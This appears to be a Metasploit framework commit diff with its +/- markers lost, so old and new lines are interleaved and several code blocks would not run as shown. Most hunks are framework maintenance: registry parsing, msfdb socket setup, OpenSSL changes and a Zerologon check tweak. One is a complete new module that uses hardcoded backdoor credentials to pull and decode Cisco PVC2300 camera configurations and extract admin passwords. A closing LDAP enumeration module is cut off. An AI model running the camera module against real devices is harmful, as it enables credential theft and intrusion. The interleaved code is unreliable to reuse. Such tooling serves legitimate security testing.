reg_data_types << 'REG_DWORD_LITTLE_ENDIAN|REG_NONE|REG_EXPAND_SZ|REG_LINK|REG_FULL_RESOURCE_DESCRIPTOR'
bslashes = key.count('\\')
bslashes = bslashes - 1 if key.ends_with?('\\')
results = shell_registry_cmd("query \"#{key}\"", view)
unless results.include?('Error')
unless results.to_s.upcase.starts_with?('ERROR:')
results.each_line do |line|
# now let's keep the ones that have a count = bslashes+1
# feels like there's a smarter way to do this but...
if (line.count('\\') == bslashes+1 && !line.ends_with?('\\'))
#then it's a first level subkey
# then it's a first level subkey
subkeys << line.split('\\').last.chomp # take & chomp the last item only
end
end
@@ -336,7 +339,7 @@ protected
reg_data_types << 'REG_DWORD_LITTLE_ENDIAN|REG_NONE|REG_EXPAND_SZ|REG_LINK|REG_FULL_RESOURCE_DESCRIPTOR'
# REG QUERY KeyName [/v ValueName | /ve] [/s]
results = shell_registry_cmd("query \"#{key}\"", view)
unless results.include?('Error')
unless results.to_s.upcase.starts_with?('ERROR:')
if values = results.scan(/^ +.*[#{reg_data_types}].*/)
# yanked the lines with legit REG value types like REG_SZ
# now let's parse out the names (first field basically)
@@ -365,19 +368,22 @@ protected
#
def shell_registry_getvalinfo(key, valname, view)
key = normalize_key(key)
value = {}
value["Data"] = nil # defaults
value["Type"] = nil
value = {
'Data' => nil,
'Type' => nil
}
# REG QUERY KeyName [/v ValueName | /ve] [/s]
results = shell_registry_cmd("query \"#{key}\" /v \"#{valname}\"", view)
# pull out the interesting line (the one with the value name in it)
if match_arr = /^ +#{valname}.*/i.match(results)
# pull out the interesting line (the one with the value name in it)
# and split it with ' ' yielding [valname,REGvaltype,REGdata]
split_arr = match_arr[0].split(' ')
value["Type"] = split_arr[1]
value["Data"] = split_arr[2]
# need to test to ensure all results can be parsed this way
# split with ' ' yielding [valname,REGvaltype,REGdata] and extract reg type
value['Type'] = match_arr[0].split[1]
# treat the remainder of the line after the reg type as the reg value
value['Data'] = match_arr[0].strip.scan(/#{value['Type']}\s+(.+)/).flatten.first
end
value
end
@@ -661,8 +667,8 @@ protected
else
raise ArgumentError, "Cannot normalize unknown key: #{key}"
end
print_status("Normalized #{key} to #{keys.join("\\")}") if $blab
return keys.join("\\")
# print_status("Normalized #{key} to #{keys.join("\\")}")
return keys.compact.join("\\")
end
#
+8 -5
View File
@@ -4,6 +4,7 @@ class Post
module Windows
module UserProfiles
include Msf::Post::File
include Msf::Post::Windows::Registry
include Msf::Post::Windows::Accounts
@@ -92,7 +93,7 @@ module UserProfiles
read_profile_list().each do |hive|
hive['OURS']=false
if hive['LOADED']== false
if session.fs.file.exist?(hive['DAT'])
if file_exist?(hive['DAT'])
hive['OURS'] = registry_loadkey(hive['HKU'], hive['DAT'])
print_error("Error loading USER #{hive['SID']}: Hive could not be loaded, are you Admin?") unless hive['OURS']
else
@@ -108,15 +109,17 @@ module UserProfiles
# Read HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList to
# get a list of user profiles on the machine.
#
def read_profile_list
def read_profile_list(user_accounts_only: true)
hives=[]
registry_enumkeys('HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList').each do |profkey|
next unless profkey.include? "S-1-5-21"
if user_accounts_only
next unless profkey.starts_with?('S-1-5-21')
end
hive={}
hive['SID']=profkey
hive['HKU']= "HKU\\#{profkey}"
hive['PROF']= registry_getvaldata("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\#{profkey}", 'ProfileImagePath')
hive['PROF']= session.fs.file.expand_path(hive['PROF']) if hive['PROF']
hive['PROF'] = expand_path(hive['PROF']) if hive['PROF']
hive['DAT']= "#{hive['PROF']}\\NTUSER.DAT"
hive['LOADED'] = loaded_hives.include?(profkey)
hives << hive
@@ -130,7 +133,7 @@ module UserProfiles
def loaded_hives
hives=[]
registry_enumkeys('HKU').each do |k|
next unless k.include? "S-1-5-21"
next unless k.starts_with?('S-1-')
next if k.include? "_Classes"
hives<< k
end
+22 -2
View File
@@ -1827,9 +1827,19 @@ class Core
append = true
end
valid_options = []
# Determine which data store we're operating on
if (active_module and global == false)
datastore = active_module.datastore
tab_complete_option_names(active_module, '', []).each do |opt_name|
valid_options << opt_name
option = active_module.options[opt_name]
next unless option
# aliases that are defined for backwards compatibility are not tab completed but are still valid option names
valid_options += active_module.options[opt_name].aliases
end
else
global = true
datastore = self.framework.datastore
@@ -1852,11 +1862,14 @@ class Core
datastore) + "\n")
return true
elsif (args.length == 1)
if (not datastore[args[0]].nil?)
if global || valid_options.any? { |vo| vo.casecmp?(args[0]) }
print_line("#{args[0]} => #{datastore[args[0]]}")
return true
else
print_error("Unknown variable")
message = "Unknown datastore option: #{args[0]}."
suggestion = DidYouMean::SpellChecker.new(dictionary: valid_options).correct(args[0]).first
message << " Did you mean #{suggestion}?" if suggestion
print_error(message)
cmd_set_help
return false
end
@@ -1881,7 +1894,14 @@ class Core
# [name, class] from payload_show_results
value = mod.first
end
end
unless global || valid_options.any? { |vo| vo.casecmp?(name) }
message = "Unknown datastore option: #{name}."
suggestion = DidYouMean::SpellChecker.new(dictionary: valid_options).correct(name).first
message << " Did you mean #{suggestion}?" if suggestion
print_error(message)
return false
end
# If the driver indicates that the value is not valid, bust out.
+17 -6
View File
@@ -422,7 +422,8 @@ class Db
[ '-i', '--info' ] => [ true, 'Change the info of a host', '<info>' ],
[ '-n', '--name' ] => [ true, 'Change the name of a host', '<name>' ],
[ '-m', '--comment' ] => [ true, 'Change the comment of a host', '<comment>' ],
[ '-t', '--tag' ] => [ false, 'Add or specify a tag to a range of hosts' ],
[ '-t', '--tag' ] => [ true, 'Add or specify a tag to a range of hosts', '<tag>' ],
[ '-T', '--delete-tag' ] => [ true, 'Remove a tag from a range of hosts', '<tag>' ],
[ '-d', '--delete' ] => [ true, 'Delete the hosts instead of searching', '<hosts>' ],
[ '-o', '--output' ] => [ true, 'Send output to a file in csv format', '<filename>' ],
[ '-O', '--order' ] => [ true, 'Order rows by specified column number', '<column id>' ],
@@ -522,6 +523,9 @@ class Db
when '-t', '--tag'
mode << :tag
tag_name = val
when '-T', '--delete-tag'
mode << :delete_tag
tag_name = val
when '-c', '-C'
list = val
if(!list)
@@ -607,8 +611,16 @@ class Db
end
end
return
when mode.include?(:tag) && mode.include?(:delete)
delete_host_tag(host_ranges, tag_name)
when mode == [:delete_tag]
begin
delete_host_tag(host_ranges, tag_name)
rescue => e
if e.message.include?('Validation failed')
print_error(e.message)
else
raise e
end
end
return
end
@@ -627,9 +639,8 @@ class Db
when "workspace"; host.workspace.name
when "tags"
found_tags = find_host_tags(framework.db.workspace, host.id)
tag_names = []
found_tags.each { |t| tag_names << t.name }
found_tags * ", "
tag_names = found_tags.map(&:name).join(', ')
tag_names
end
# Otherwise, it's just an attribute
else
+1
View File
@@ -258,6 +258,7 @@ module Msf
str = <<~VERSIONS
Framework: #{framework.version}
Ruby: #{RUBY_DESCRIPTION}
OpenSSL: #{OpenSSL::OPENSSL_VERSION}
Install Root: #{Msf::Config.install_root}
Session Type: #{db_connection_info(framework)}
Install Method: #{installation_method}
+1
View File
@@ -109,6 +109,7 @@ module WindowsCryptoHelpers
(60...policy_secret.length).step(16) do |i|
aes.reset
aes.padding = 0
aes.iv = "\x00" * 16
decrypted_data << aes.update(policy_secret[i,16])
end
+3 -3
View File
@@ -60,12 +60,12 @@ module MsfdbHelpers
status.exitstatus
end
def run_psql(cmd, db_name: 'postgres')
def run_psql(cmd, socket_directory= "#{Dir.tmpdir}", db_name: 'postgres')
if @options[:debug]
puts "psql -p #{@options[:db_port]} -c \"#{cmd};\" #{db_name}"
puts "psql -h #{socket_directory} -p #{@options[:db_port]} -c \"#{cmd};\" #{db_name}"
end
run_cmd("psql -p #{@options[:db_port]} -c \"#{cmd};\" #{db_name}")
run_cmd("psql -h #{socket_directory} -p #{@options[:db_port]} -c \"#{cmd};\" #{db_name}")
end
end
+49 -6
View File
@@ -8,6 +8,7 @@ module MsfdbHelpers
@options = options
@localconf = localconf
@db_conf = db_conf
@socket_directory = db_path
super(options)
end
@@ -20,6 +21,17 @@ module MsfdbHelpers
f.puts "port = #{@options[:db_port]}"
end
# Try creating a test file at {Dir.tmpdir},
# Else fallback to creation at @{db}
# Else fail with error.
if test_executable_file("#{Dir.tmpdir}")
@socket_directory = Dir.tmpdir
elsif test_executable_file("#{@db}")
@socket_directory = @db
else
print_error("Attempt to create DB socket file at Temporary Directory and `~/.msf4/db` failed. Possibly because they are mounted with NOEXEC flags. Database initialization failed.")
end
start
create_db_users(msf_pass, msftest_pass)
@@ -28,6 +40,37 @@ module MsfdbHelpers
restart
end
# Creates and attempts to execute a testfile in the specified directory,
# to determine if it is mounted with NOEXEC flags.
def test_executable_file(path)
begin
file_name = File.join(path, 'msfdb_testfile')
File.open(file_name, 'w') do |f|
f.puts "#!/bin/bash\necho exec"
end
File.chmod(0744, file_name)
if run_cmd(file_name)
File.open("#{@db}/postgresql.conf", 'a') do |f|
f.puts "unix_socket_directories = \'#{path}\'"
end
puts "Creating db socket file at #{path}"
end
return true
rescue => e
return false
ensure
begin
File.delete(file_name)
rescue
print_error("Unable to delete test file #{file_name}")
end
end
end
def delete
if exists?
stop
@@ -95,12 +138,12 @@ module MsfdbHelpers
def create_db_users(msf_pass, msftest_pass)
puts 'Creating database users'
run_psql("create user #{@options[:msf_db_user].shellescape} with password '#{msf_pass}'")
run_psql("create user #{@options[:msftest_db_user].shellescape} with password '#{msftest_pass}'")
run_psql("alter role #{@options[:msf_db_user].shellescape} createdb")
run_psql("alter role #{@options[:msftest_db_user].shellescape} createdb")
run_psql("alter role #{@options[:msf_db_user].shellescape} with password '#{msf_pass}'")
run_psql("alter role #{@options[:msftest_db_user].shellescape} with password '#{msftest_pass}'")
run_psql("create user #{@options[:msf_db_user].shellescape} with password '#{msf_pass}'", @socket_directory)
run_psql("create user #{@options[:msftest_db_user].shellescape} with password '#{msftest_pass}'", @socket_directory)
run_psql("alter role #{@options[:msf_db_user].shellescape} createdb", @socket_directory)
run_psql("alter role #{@options[:msftest_db_user].shellescape} createdb", @socket_directory)
run_psql("alter role #{@options[:msf_db_user].shellescape} with password '#{msf_pass}'", @socket_directory)
run_psql("alter role #{@options[:msftest_db_user].shellescape} with password '#{msftest_pass}'", @socket_directory)
conn = PG.connect(host: @options[:db_host], dbname: 'postgres', port: @options[:db_port], user: @options[:msf_db_user], password: msf_pass)
conn.exec("CREATE DATABASE #{@options[:msf_db_name]}")
+6
View File
@@ -1,6 +1,12 @@
# Use bundler to load dependencies
#
# Enable legacy providers such as blowfish-cbc, cast128-cbc, arcfour, etc
$stderr.puts "Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions." unless ENV['OPENSSL_CONF'].nil?
ENV['OPENSSL_CONF'] = File.expand_path(
File.join(File.dirname(__FILE__), '..', 'config', 'openssl.conf')
)
# Override the normal rails default, so that msfconsole will come up in production mode instead of development mode
# unless the `--environment` flag is passed.
ENV['RAILS_ENV'] ||= 'production'
+22 -6
View File
@@ -83,14 +83,30 @@ class Cipher
user_struct = username + ("\0" * (64 - username.length)) + password + ("\0" * (64 - password.length))
dh_peer = OpenSSL::PKey::DH.new(key_length * 8, generator)
dh_peer.set_key(peer_public_key, nil)
# OpenSSL 3.0+
if OpenSSL::PKey.respond_to?(:generate_key)
dh = OpenSSL::PKey::DH.new(
OpenSSL::ASN1::Sequence(
[
OpenSSL::ASN1::Integer(prime_modulus),
OpenSSL::ASN1::Integer(generator),
]
).to_der
)
dh = OpenSSL::PKey.generate_key(dh)
dh = OpenSSL::PKey::DH.new(dh_peer)
dh.set_pqg(prime_modulus, nil, generator)
dh.generate_key!
shared_key = dh.compute_key(peer_public_key)
else
dh_peer = OpenSSL::PKey::DH.new(key_length * 8, generator)
dh_peer.set_key(peer_public_key, nil)
dh_peer_pub_key = dh_peer.pub_key
shared_key = dh.compute_key(dh_peer.pub_key)
dh = OpenSSL::PKey::DH.new(dh_peer)
dh.set_pqg(prime_modulus, nil, generator)
dh.generate_key!
shared_key = dh.compute_key(dh_peer_pub_key)
end
md5 = OpenSSL::Digest.new('MD5')
key_digest = md5.digest(shared_key)
+4
View File
@@ -18,6 +18,10 @@ class Input::Buffer < Rex::Ui::Text::Input
def write(buf, opts={})
syswrite(buf)
end
def monitor_rsock(*args, **kwargs)
dlog('monitor_rsock: Skipping - functionality not required')
end
end
def initialize
@@ -3,6 +3,8 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'windows_error'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::DCERPC
@@ -33,7 +35,10 @@ class MetasploitModule < Msf::Auxiliary
'Dirk-jan Mollema' # password restoration technique
],
'Notes' => {
'AKA' => [ 'Zerologon' ]
'AKA' => ['Zerologon'],
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
},
'License' => MSF_LICENSE,
'Actions' => [
@@ -86,6 +91,12 @@ class MetasploitModule < Msf::Auxiliary
response = netr_server_authenticate3
break if (status = response.error_status) == 0
windows_error = ::WindowsError::NTStatus.find_by_retval(response.error_status.to_i).first
# Try again if the Failure is STATUS_ACCESS_DENIED, otherwise something has gone wrong
next if windows_error == ::WindowsError::NTStatus::STATUS_ACCESS_DENIED
fail_with(Failure::UnexpectedReply, windows_error)
end
return CheckCode::Detected unless status == 0
@@ -0,0 +1,234 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'Cisco PVC2300 POE Video Camera configuration download',
'Description' => %q{
This module exploits an information disclosure vulnerability in Cisco PVC2300 cameras in order
to download the configuration file containing the admin credentials for the web interface.
The module first performs a basic check to see if the target is likely Cisco PVC2300. If so, the
module attempts to obtain a sessionID via an HTTP GET request to the vulnerable /oamp/System.xml
endpoint using hardcoded credentials.
If a session ID is obtained, the module uses it in another HTTP GET request to /oamp/System.xml
with the aim of downloading the configuration file. The configuration file, if obtained, is then
decoded and saved to the loot directory. Finally, the module attempts to extract the admin
credentials to the web interface from the decoded configuration file.
No known solution was made available for this vulnerability and no CVE has been published. It is
therefore likely that most (if not all) Cisco PVC2300 cameras are affected.
This module was successfully tested against several Cisco PVC2300 cameras.
},
'License' => MSF_LICENSE,
'Author' => [
'Craig Heffner', # vulnerability discovery and PoC
'Erik Wynter', # @wyntererik - Metasploit
],
'References' => [
[ 'URL', 'https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf' ], # blackhat presentation - unofficial source
[ 'URL', 'https://media.blackhat.com/us-13/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf'], # blackhat presentation - official source (not working)
[ 'URL', 'https://www.youtube.com/watch?v=B8DjTcANBx0'] # full blackhat presentation
],
'DisclosureDate' => '2013-07-12',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION], # the attack can be repeated, but a timeout of several minutes may be necessary between exploit attempts
'SideEffects' => [IOC_IN_LOGS]
}
}
)
)
end
def custom_base64_alphabet
'ACEGIKMOQSUWYBDFHJLNPRTVXZacegikmoqsuwybdfhjlnprtvxz0246813579=+'
end
def default_base64_alphabet
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
end
def request_session_id
vprint_status('Attempting to obtain a session ID')
# the creds used here are basically a backdoor
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'oamp', 'System.xml'),
'vars_get' => {
'action' => 'login',
'user' => 'L1_admin',
'password' => 'L1_51'
}
})
unless res
fail_with(Failure::Unknown, 'Connection failed when trying to obtain a session ID')
end
unless res.code == 200
fail_with(Failure::NotVulnerable, "Received unexpected response code #{res.code} while trying to obtain a session ID.")
end
if res.headers.include?('sessionID') && !res.headers['sessionID'].blank?
session_id = res.headers['sessionID']
print_status("The target may be vulnerable. Obtained sessionID #{session_id}")
return session_id
end
# try to check the status message in the response body
# the status may indicate if the target is perhaps only temporarily unavailable, which was encountered when testing the module repeatedly
status = res.body.scan(%r{<statusString>(.*?)</statusString>})&.flatten&.first&.strip
if status.blank?
fail_with(Failure::NotVulnerable, 'Failed to obtain a session ID.')
end
if status == 'try it later'
fail_with(Failure::Unknown, "Failed to obtain a session ID. The server responded with status: #{status}. The target may still be vulnerable.")
else
fail_with(Failure::NotVulnerable, "Failed to obtain a session ID. The server responded with status: #{status}")
end
end
def download_config_file(session_id)
vprint_status('Attempting to download the configuration file')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'oamp', 'System.xml'),
'headers' => {
'sessionID' => session_id
},
'vars_get' => {
'action' => 'downloadConfigurationFile'
}
})
unless res
fail_with(Failure::Unknown, 'Connection failed when trying to download the configuration file')
end
unless res.code == 200 && !res.body.empty?
fail_with(Failure::NotVulnerable, 'Failed to obtain the configuration file')
end
# if the exploit doesn't work, the response body should be empty. So if we have anything, we can assume we're in business
res.body
end
def decode_config_file(config_file_encoded)
# if we've made it all the way here, this shouldn't break, but better safe than sorry
begin
config_file_base64 = config_file_encoded.tr(custom_base64_alphabet, default_base64_alphabet)
config_file_decoded = Base64.decode64(config_file_base64)
rescue StandardError => e
print_error('Encountered the following error when attempting to decode the configuration file:')
print_error(e)
fail_with(Failure::Unknown, 'Failed to decode the configuration file')
end
# let's just save the full config at this point
path = store_loot('ciscopvc.config', 'text/plain', rhost, config_file_decoded)
print_good('Successfully downloaded the configuration file')
print_status("Saving the full configuration file to #{path}")
# let's see if we can grab the device name from the config file
if config_file_decoded =~ /comment=.*? Video Camera/
device_name = config_file_decoded.scan(/comment=(.*?)$/)&.flatten&.first&.strip
unless device_name.blank?
print_status("Obtained device name #{device_name}")
end
end
# try to grab the admin username and password from the config file
admin_name = nil
admin_password = nil
if config_file_decoded.include?('admin_name')
admin_name = config_file_decoded.scan(/admin_name=(.*?)$/)&.flatten&.first&.strip
end
if config_file_decoded.include?('admin_password')
admin_password = config_file_decoded.scan(/admin_password=(.*?)$/)&.flatten&.first&.strip
end
if admin_name.blank? && admin_password.blank?
print_error('Failed to obtain the admin credentials from the configuration file')
else
print_good('Obtained the following admin credentials for the web interface from the configuration file:')
print_status("admin username: #{admin_name}")
print_status("admin password: #{admin_password}")
# save the creds to the db
report_creds(admin_name, admin_password)
end
end
def report_creds(username, password)
service_data = {
address: datastore['RHOST'],
port: datastore['RPORT'],
service_name: 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
origin_type: :service,
private_data: password,
private_type: :password,
username: username
}.merge(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
def check
res1 = send_request_cgi('uri' => normalize_uri(target_uri.path))
unless res1
return Exploit::CheckCode::Unknown('Target is unreachable.')
end
# string togetether a few checks to make it more likely we're dealing with a Cisco camera
unless res1.code == 401 && res1.headers.include?('WWW-Authenticate') && res1.headers['WWW-Authenticate'] == 'Basic realm="IP Camera"'
return Exploit::CheckCode::Safe('Target is not a Cisco PVC2300 POE Video Camera')
end
res2 = send_request_cgi('uri' => normalize_uri(target_uri.path, 'oamp', 'System.xml'))
unless res2
return Exploit::CheckCode::Unknown('Target is unreachable.')
end
unless res2.code == 200 && res2.body =~ %r{<ActionStatus><statusCode>.*?</statusCode><statusString>.*?</statusString></ActionStatus>}
return Exploit::CheckCode::Safe('Target is not a Cisco PVC2300 POE Video Camera')
end
vprint_status('Target seems to be a Cisco camera')
Exploit::CheckCode::Appears
end
def run
session_id = request_session_id
config_file = download_config_file(session_id)
decode_config_file(config_file)
end
end
+333
View File
@@ -0,0 +1,333 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::LDAP
require 'json'
require 'yaml'
def initialize(info = {})
actions, default_action = initialize_actions
super(
update_info(
info,
'Name' => 'LDAP Query and Enumeration Module',
'Description' => %q{
This module allows users to query an LDAP server using either a custom LDAP query, or
a set of LDAP queries under a specific category. Users can also specify a JSON or YAML
file containing custom queries to be executed using the RUN_QUERY_FILE action.
If this action is specified, then QUERY_FILE_PATH must be a path to the location
of this JSON/YAML file on disk.
Users can also run a single query by using the RUN_SINGLE_QUERY option and then setting
the QUERY_FILTER datastore option to the filter to send to the LDAP server and QUERY_ATTRIBUTES
to a comma seperated string containing the list of attributes they are interested in obtaining
from the results.
As a third option can run one of several predefined queries by setting ACTION to the
appropriate value. These options will be loaded from the ldap_queries_default.yaml file
located in the MSF configuration directory, located by default at ~/.msf4/ldap_queries_default.yaml.
All results will be returned to the user in table, CSV or JSON format, depending on the value
of the OUTPUT_FORMAT datastore option. The characters || will be used as a delimiter
should multiple items exist within a single column.
},
'Author' => [
'Grant Willcox', # Original module author
],
'References' => [
],
'DisclosureDate' => '2022-05-19',
'License' => MSF_LICENSE,
'Actions' => actions,
'DefaultAction' => default_action,
'DefaultOptions' => {
'SSL' => false
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options([
Opt::RPORT(389), # Set to 636 for SSL/TLS
OptEnum.new('OUTPUT_FORMAT', [true, 'The output format to use', 'table', %w[csv table json]]),
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
OptPath.new('QUERY_FILE_PATH', [false, 'Path to the JSON or YAML file to load and run queries from'], conditions: %w[ACTION == RUN_QUERY_FILE]),
OptString.new('QUERY_FILTER', [false, 'Filter to send to the target LDAP server to perform the query'], conditions: %w[ACTION == RUN_SINGLE_QUERY]),
OptString.new('QUERY_ATTRIBUTES', [false, 'Comma seperated list of attributes to retrieve from the server'], conditions: %w[ACTION == RUN_SINGLE_QUERY])
])
end
def initialize_actions
user_config_file_path = File.join(::Msf::Config.config_directory, 'ldap_queries.yaml')
default_config_file_path = File.join(::Msf::Config.data_directory, 'auxiliary', 'gather', 'ldap_query', 'ldap_queries_default.yaml')
@loaded_queries = safe_load_queries(default_config_file_path) || []
if File.exist?(user_config_file_path)
@loaded_queries.concat(safe_load_queries(user_config_file_path) || [])
else
# If the user config file doesn't exist, then initialize it with a sample entry.
# Users can adjust this file to overwrite default actions to retrieve different attributes etc by default.
template = File.join(::Msf::Config.data_directory, 'auxiliary', 'gather', 'ldap_query', 'ldap_queries_template.yaml')
FileUtils.cp(template, user_config_file_path) if File.exist?(template)
end
# Combine the user settings with the default settings and then uniq them such that we only have one copy
# of each ACTION, however we use the user's custom settings if they have tweaked anything to prevent overriding
# their custom adjustments.
@loaded_queries = @loaded_queries.map { |h| [h['action'], h] }.to_h
@loaded_queries.select! do |_, entry|
if entry['action'].blank?
wlog('ldap query entry detected that was missing its action field')
return false
end
if %w[RUN_QUERY_FILE RUN_SINGLE_QUERY].include? entry['action']
wlog("ldap query entry detected that was using a reserved action name: #{entry['action']}")
return false
end
if entry['filter'].blank?
wlog('ldap query entry detected that was missing its filter field')
return false
end
unless entry['attributes'].is_a? Array
wlog('ldap query entry detected that was missing its attributes field')
return false
end
true
end
actions = []
@loaded_queries.each_value do |entry|
actions << [entry['action'], { 'Description' => entry['description'] || '' }]
end
actions << ['RUN_QUERY_FILE', { 'Description' => 'Execute a custom set of LDAP queries from the JSON or YAML file specified by QUERY_FILE.' }]
actions << ['RUN_SINGLE_QUERY', { 'Description' => 'Execute a single LDAP query using the QUERY_FILTER and QUERY_ATTRIBUTES options.' }]
actions.sort!
default_action = 'RUN_QUERY_FILE'
unless @loaded_queries.empty? # Aka there is more than just RUN_QUERY_FILE and RUN_SINGLE_QUERY in the actions list...
default_action = actions[0][0] # Get the first entry's action name and set this as the default action.
end
return actions, default_action
end
def safe_load_queries(filename)
begin
settings = YAML.safe_load(File.binread(filename))
rescue StandardError => e
elog("Couldn't parse #{filename}", error: e)
return
end
return unless settings['queries'].is_a? Array
settings['queries']
end
def perform_ldap_query(ldap, filter, attributes)
returned_entries = ldap.search(base: @base_dn, filter: filter, attributes: attributes)
query_result = ldap.as_json['result']['ldap_result']
case query_result['resultCode']
when 0
vprint_good('Successfully queried LDAP server!')
when 1
print_error("Could not perform query #{filter}. Its likely the query requires authentication!")
fail_with(Failure::NoAccess, query_result['errorMessage'])
else
fail_with(Failure::UnexpectedReply, "Query #{filter} failed with error: #{query_result['errorMessage']}")
end
if returned_entries.nil? || returned_entries.empty?
print_error("No results found for #{filter}.")
nil
else
returned_entries
end
end
def generate_rex_tables(entries, format)
entries.each do |entry|
tbl = Rex::Text::Table.new(
'Header' => entry['dn'][0].split(',').join(' '),
'Indent' => 1,
'Columns' => %w[Name Attributes]
)
entry.attribute_names.each do |attr|
if format == 'table'
tbl << [attr, entry[attr].join(' || ')] unless attr == :dn # Skip over DN entries for tables since DN information is shown in header.
else
tbl << [attr, entry[attr].join(' || ')] # DN information is not shown in CSV output as a header so keep DN entries in.
end
end
case format
when 'table'
print_status(tbl.to_s)
when 'csv'
print_status(tbl.to_csv)
else
fail_with(Failure::BadConfig, "Invalid format #{format} passed to generate_rex_tables!")
end
end
end
def output_json_data(entries)
entries.each do |entry|
result = ''
data = {}
entry.attribute_names.each do |attr|
data[attr] = entry[attr].join(' || ')
end
result << JSON.pretty_generate(data) + ",\n"
result.gsub!(/},\n$/, '}')
print_status(entry['dn'][0].split(',').join(' '))
print_line(result)
end
end
def output_data_table(entries)
generate_rex_tables(entries, 'table')
end
def output_data_csv(entries)
generate_rex_tables(entries, 'csv')
end
def show_output(entries)
case datastore['OUTPUT_FORMAT']
when 'csv'
output_data_csv(entries)
when 'table'
output_data_table(entries)
when 'json'
output_json_data(entries)
else
fail_with(Failure::BadConfig, 'Supported OUTPUT_FORMAT values are csv, table and json')
end
end
def run_queries_from_file(ldap, queries)
queries.each do |query|
unless query['action'] && query['filter'] && query['attributes']
fail_with(Failure::BadConfig, "Each query in the query file must at least contain a 'action', 'filter' and 'attributes' attribute!")
end
attributes = query['attributes']
if attributes.nil? || attributes.empty?
print_warning('At least one attribute needs to be specified per query in the query file for entries to work!')
break
end
filter = Net::LDAP::Filter.construct(query['filter'])
print_status("Running #{query['action']}...")
entries = perform_ldap_query(ldap, filter, attributes)
if entries.nil?
print_warning("Query #{query['filter']} from #{query['action']} didn't return any results!")
next
end
show_output(entries)
end
end
def run
entries = nil
begin
ldap_connect do |ldap|
bind_result = ldap.as_json['result']['ldap_result']
# Codes taken from https://ldap.com/ldap-result-code-reference-core-ldapv3-result-codes
case bind_result['resultCode']
when 0
print_good('Successfully bound to the LDAP server!')
when 1
fail_with(Failure::NoAccess, "An operational error occurred, perhaps due to lack of authorization. The error was: #{bind_result['errorMessage']}")
when 7
fail_with(Failure::NoTarget, 'Target does not support the simple authentication mechanism!')
when 8
fail_with(Failure::NoTarget, "Server requires a stronger form of authentication than we can provide! The error was: #{bind_result['errorMessage']}")
when 14
fail_with(Failure::NoTarget, "Server requires additional information to complete the bind. Error was: #{bind_result['errorMessage']}")
when 48
fail_with(Failure::NoAccess, "Target doesn't support the requested authentication type we sent. Try binding to the same user without a password, or providing credentials if you were doing anonymous authentication.")
when 49
fail_with(Failure::NoAccess, 'Invalid credentials provided!')
else
fail_with(Failure::Unknown, "Unknown error occurred whilst binding: #{bind_result['errorMessage']}")
end
if (@base_dn = datastore['BASE_DN'])
print_status("User-specified base DN: #{@base_dn}")
else
print_status('Discovering base DN automatically')
unless (@base_dn = discover_base_dn(ldap))
print_warning("Couldn't discover base DN!")
end
end
case action.name
when 'RUN_QUERY_FILE'
unless datastore['QUERY_FILE_PATH']
fail_with(Failure::BadConfig, 'When using the RUN_QUERY_FILE action, one must specify the path to the JASON/YAML file containing the queries via QUERY_FILE_PATH!')
end
print_status("Loading queries from #{datastore['QUERY_FILE_PATH']}...")
parsed_queries = safe_load_queries(datastore['QUERY_FILE_PATH']) || []
if parsed_queries.empty?
fail_with(Failure::BadConfig, "No queries loaded from #{datastore['QUERY_FILE_PATH']}!")
end
run_queries_from_file(ldap, parsed_queries)
return
when 'RUN_SINGLE_QUERY'
unless datastore['QUERY_FILTER'] && datastore['QUERY_ATTRIBUTES']
fail_with(Failure::BadConfig, 'When using the RUN_SINGLE_QUERY action, one must supply the QUERY_FILTER and QUERY_ATTRIBUTE datastore options!')
end
begin
filter = Net::LDAP::Filter.construct(datastore['QUERY_FILTER'])
rescue StandardError => e
fail_with(Failure::BadConfig, "Could not compile the filter #{datastore['QUERY_FILTER']}. Error was #{e}")
end
print_status("Sending single query #{datastore['QUERY_FILTER']} to the LDAP server...")
attributes = datastore['QUERY_ATTRIBUTES'].split(',')
if attributes.empty?
fail_with(Failure::BadConfig, 'Attributes list is empty as we could not find at least one attribute to filter on!')
end
entries = perform_ldap_query(ldap, filter, attributes)
print_error("No entries could be found for #{datastore['QUERY_FILTER']}!") if entries.nil? || entries.empty?
else
query = @loaded_queries[datastore['ACTION']].nil? ? @loaded_queries[default_action] : @loaded_queries[datastore['ACTION']]
fail_with(Failure::BadConfig, "Invalid action: #{datastore['ACTION']}") unless query
begin
filter = Net::LDAP::Filter.construct(query['filter'])
rescue StandardError => e
fail_with(Failure::BadConfig, "Could not compile the filter #{query['filter']}. Error was #{e}")
end
entries = perform_ldap_query(ldap, filter, query['attributes'])
end
